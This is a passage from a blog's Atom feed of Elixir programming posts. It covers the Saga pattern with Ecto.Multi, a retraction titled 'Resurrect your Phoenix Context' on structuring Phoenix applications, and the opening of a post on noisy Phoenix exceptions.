&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Multi&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Order&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;changeset&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Multi&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;run&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:car&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;order: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;Reservations&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;reserve_car&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Multi&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;run&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:charge&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;order: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;car: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;car&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;Payments&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;charge_order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;car&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;transaction&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;order: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;      &lt;span style=&quot;color: #8b949e;&quot;&gt;# These error handlers are the &quot;compensations&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;      &lt;span style=&quot;color: #8b949e;&quot;&gt;# of the previous &quot;transactions&quot; of the Saga.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_changes&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;        &lt;span style=&quot;color: #8b949e;&quot;&gt;# No need to delete the order.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;        &lt;span style=&quot;color: #8b949e;&quot;&gt;# Ecto rolled back the db transaction.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:car&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_changes&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;        &lt;span style=&quot;color: #8b949e;&quot;&gt;# No need to delete the order.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;        &lt;span style=&quot;color: #8b949e;&quot;&gt;# Ecto will roll back the insertion for us.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:charge&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;car: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;car&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;        &lt;span style=&quot;color: #8b949e;&quot;&gt;# This compensation needs a retry mechanism&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;        &lt;span style=&quot;color: #8b949e;&quot;&gt;# and exception handling. Otherwise, the compensation&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;        &lt;span style=&quot;color: #8b949e;&quot;&gt;# might not clean up the reservation properly.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Reservations&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;cancel_car&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;car&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#sage-library&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;sage-library&quot;&gt;&lt;/a&gt;Sage library&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/Nebo15/sage&quot;&gt;Sage&lt;/a&gt; offers an attractive framework for writing Saga&apos;s in Elixir. It comes with important features like transaction retries and exception handling. I haven&apos;t used it in production yet, but it might be a good option if you have very complex and critical Sagas. Learn more about Sage &lt;a href=&quot;https://medium.com/nebo-15/introducing-sage-a-sagas-pattern-implementation-in-elixir-3ad499f236f6&quot;&gt;in this excellent blog post&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#synchronous-vs-asynchronous-communication-in-sagas&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;synchronous-vs-asynchronous-communication-in-sagas&quot;&gt;&lt;/a&gt;Synchronous vs Asynchronous Communication in Sagas&lt;/h2&gt;
&lt;p&gt;In both the choreography-based and orchestration-based Saga patterns, you can trigger transactions either synchronously or asynchronously. You can either execute each transaction as a function or API call, or use an event-based system to trigger and return the result of each transaction.&lt;/p&gt;
&lt;p&gt;The advantage of synchronous transactions is that they involve less code and are easier to test and reason about. However, your Saga might fail for reasons unrelated to its logic, for example, if another microservice or an external API is unavailable. In these situations, you might want to retry after a little while instead of rolling back the entire Saga.&lt;/p&gt;
&lt;p&gt;An asynchronous, event-based Saga offers such a retry mechanism and even simple exception handling. If a transaction fails, our event handler will try to deliver the event again, possibly with an exponential backoff. This makes the overall Saga more resilient. But an event system requires much more code, and the Saga becomes a distributed procedure with code in many places.&lt;/p&gt;
&lt;p&gt;Which approach is best for you depends on your situation. I suggest that you opt for the synchronous, orchestration-based Saga pattern whenever you can, given its simplicity and the centralisation of business logic. However, if you have an event system in place already, the choreography-based or asynchronous approach might offer valuable benefits without much additional work.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to support me, you can buy my &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;book&lt;/a&gt; or video courses (&lt;a href=&quot;https://indiecourses.com/catalog/build-an-mvp-with-elixir-6i4V9yOqLL54GuG0HkV9HR&quot;&gt;one&lt;/a&gt; and &lt;a href=&quot;https://indiecourses.com/catalog/building-forms-with-phoenix-liveview-2OPYIqaekkZwrpgLUZOyZV&quot;&gt;two&lt;/a&gt;). Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/saga-pattern-in-elixir"/>
    <id>https://peterullrich.com/saga-pattern-in-elixir</id>
    <title>The Saga Pattern in Elixir</title>
    <updated>2024-10-01T06:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Hey folks, welcome back! After such a long time without a blog post from me, you might ask yourself:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;When is a joke a dad joke?
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;When it&amp;#39;s apparent.
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anyway, let&apos;s get started with today&apos;s topic: &lt;strong&gt;Why you shouldn&apos;t kill your Phoenix context and - in fact - resurrect it!&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#a-retraction&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;a-retraction&quot;&gt;&lt;/a&gt;A Retraction&lt;/h1&gt;
&lt;p&gt;In June 2023, I wrote a blog post titled &lt;a href=&quot;https://peterullrich.com/phoenix-contexts&quot;&gt;Kill your Phoenix Context&lt;/a&gt; in which I proposed a new software design for Phoenix applications. In short, I suggested you delete the generated &lt;code&gt;context&lt;/code&gt; altogether and create dedicated &lt;code&gt;repository&lt;/code&gt;, &lt;code&gt;finder&lt;/code&gt;, and &lt;code&gt;service&lt;/code&gt; modules instead.&lt;/p&gt;
&lt;p&gt;Repositories hold all CRUD functions for a schema, Finders encapsulate complex queries, and Services contain the business logic for one use case each (e.g. &lt;code&gt;CreateUserService&lt;/code&gt;). I based the suggestion on my experience of working for a company that used this design heavily, and it seemed to work pretty well for them. However, one year later, I changed my mind.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
&lt;p&gt;The fundamental issue with the design above is that it is &lt;code&gt;Module&lt;/code&gt;-oriented rather than &lt;code&gt;Function&lt;/code&gt;-oriented. It tries to organize your code around modules instead of functions.&lt;/p&gt;
&lt;p&gt;This is very much Object-Oriented Programming (OOP) thinking. In OOP, the &lt;code&gt;Object&lt;/code&gt; - and therefore its definition, the &lt;code&gt;Class&lt;/code&gt; - is the first-class citizen. Classes are the fundamental building blocks of your software design. Functions are just &quot;children&quot; of classes and don&apos;t play a role in your design. That&apos;s why you would design your system around classes, not functions, in OOP.&lt;/p&gt;
&lt;p&gt;In Functional Programming (FP), the Function is the first-class citizen. You can use functions without having to wrap them in classes. In fact, Elixir doesn&apos;t even have classes! It has modules which look very similar to classes, but they don&apos;t define state or behaviours like classes do.&lt;/p&gt;
&lt;p&gt;Modules look so much like classes that they are often mistaken, especially by folks who have an OOP background. But if you want to design software in Elixir, you must understand one thing:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Modules are just collections of functions. Nothing more.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-proposal&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-proposal&quot;&gt;&lt;/a&gt;The Proposal&lt;/h2&gt;
&lt;p&gt;Personally, I moved away from the module-based approach above and use different designs for my projects now, depending on how complex I expect them to become. They all include Phoenix Contexts though.&lt;/p&gt;
&lt;p&gt;For small projects, I use the generated code structure as-is. I try to keep my controllers and LiveViews thin and move all my business logic into the contexts. In small projects, your &quot;real&quot; business logic only involves a few functions anyway, and the rest of your system will be basic CRUD logic.&lt;/p&gt;
&lt;p&gt;For medium to large projects, I move all CRUD functions from the contexts to dedicated &lt;code&gt;repositories&lt;/code&gt; and keep only the business logic in my context. I still use &lt;code&gt;finders&lt;/code&gt;, but don&apos;t use &lt;code&gt;services&lt;/code&gt; anymore. The advantage of this approach is that I remove the &quot;noise&quot; from my contexts (the CRUD stuff) and only keep the most important functions in there. I do this because I&apos;ve seen large projects which combine CRUD and business logic in one huge context, and it&apos;s hard to find the important parts among all the &lt;code&gt;get_X_by_Y&lt;/code&gt; helper functions.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#an-example&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;an-example&quot;&gt;&lt;/a&gt;An Example&lt;/h2&gt;
&lt;p&gt;Let&apos;s walk through an example to make this design more tangible. Imagine you have a system that handles invoices. You have your usual CRUD logic, but also a bit of complex business logic like &lt;code&gt;finalize invoice&lt;/code&gt; that requires a few more steps than just updating an invoice.&lt;/p&gt;
&lt;p&gt;After generating the code with &lt;code&gt;mix phx.gen.live Invoices Invoice invoices ...&lt;/code&gt;, the first thing I do - but only for medium to larger projects - is to move all CRUD logic from the &lt;code&gt;App.Invoices&lt;/code&gt; context to an &lt;code&gt;App.Invoices.InvoiceRepo&lt;/code&gt; repository.&lt;/p&gt;
&lt;p&gt;I allow my &lt;code&gt;AppWeb&lt;/code&gt; domain to call the repository directly. So, the &lt;code&gt;AppWeb.InvoiceLive.Index&lt;/code&gt; LiveView can call &lt;code&gt;App.Invoices.InvoiceRepo.list_invoices()&lt;/code&gt; and doesn&apos;t have to go through &lt;code&gt;App.Invoices&lt;/code&gt;. However, if my project becomes very complex, I&apos;d consider restricting direct access to my &lt;code&gt;InvoiceRepo&lt;/code&gt; and rather require other subdomains to call the invoice repository through &lt;code&gt;App.Invoices&lt;/code&gt;. That way, I can easily transform my context into a &quot;public interface&quot; for the rest of my app and control which functions they have access to.&lt;/p&gt;
&lt;p&gt;Next, I add the business logic to my &lt;code&gt;App.Invoices&lt;/code&gt; context like &lt;code&gt;finalize invoice&lt;/code&gt;. My context is allowed to call other contexts and everything they &quot;own&quot;. I even allow calls to my &lt;code&gt;AppWeb&lt;/code&gt; domain, but only for small things like generating a URL to send in an Email and only if the function call doesn&apos;t originate in the Web domain. If it does, I require the caller to pass a URL or a function for generating the URL. You can see an example of this in the &lt;code&gt;ResetPassword&lt;/code&gt; LiveView that &lt;code&gt;mix phx.gen.auth&lt;/code&gt; generates for you. I try to limit the calls from my &lt;code&gt;App&lt;/code&gt; to my &lt;code&gt;AppWeb&lt;/code&gt; domain as much as possible though, and 9-out-of-10 times, I can rewrite my function to receive a URL parameter instead of having to generate it itself.&lt;/p&gt;
&lt;p&gt;And that&apos;s it really! It&apos;s a simple design which most Elixir developers will understand quickly, but it leaves room for refinement if your codebase grows significantly.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Let me know if you&apos;d like me to record a video about this and I&apos;ll happily put it on YouTube. Otherwise, you can always join my livestream and ask questions :)&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to support me, you can buy my &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;book&lt;/a&gt; or video courses (&lt;a href=&quot;https://indiecourses.com/catalog/build-an-mvp-with-elixir-6i4V9yOqLL54GuG0HkV9HR&quot;&gt;one&lt;/a&gt; and &lt;a href=&quot;https://indiecourses.com/catalog/building-forms-with-phoenix-liveview-2OPYIqaekkZwrpgLUZOyZV&quot;&gt;two&lt;/a&gt;). Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/resurrect-your-phoenix-context"/>
    <id>https://peterullrich.com/resurrect-your-phoenix-context</id>
    <title>Resurrect your Phoenix Context</title>
    <updated>2024-09-23T06:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Hello there fellow Elixirists!&lt;/p&gt;
&lt;p&gt;It&apos;s been a while since my last blog post which is largely the fault of my new startup &lt;a href=&quot;https://indiecourses.com&quot;&gt;indiecourses.com&lt;/a&gt; which takes up all my previous blog-writing time!&lt;/p&gt;
&lt;p&gt;To show my apologies, please accept the following dad joke:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;I got pulled over by a police officer.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;He looked at my license and said I should wear glasses.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;I said I have contacts.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;He said he doesn’t care who I know.
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alright! Let&apos;s talk about Exceptions in Phoenix and how we can make them a bit less noisy.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
&lt;p&gt;When you run a Phoenix application in production, you might have seen exceptions like this one:&lt;/p&gt;
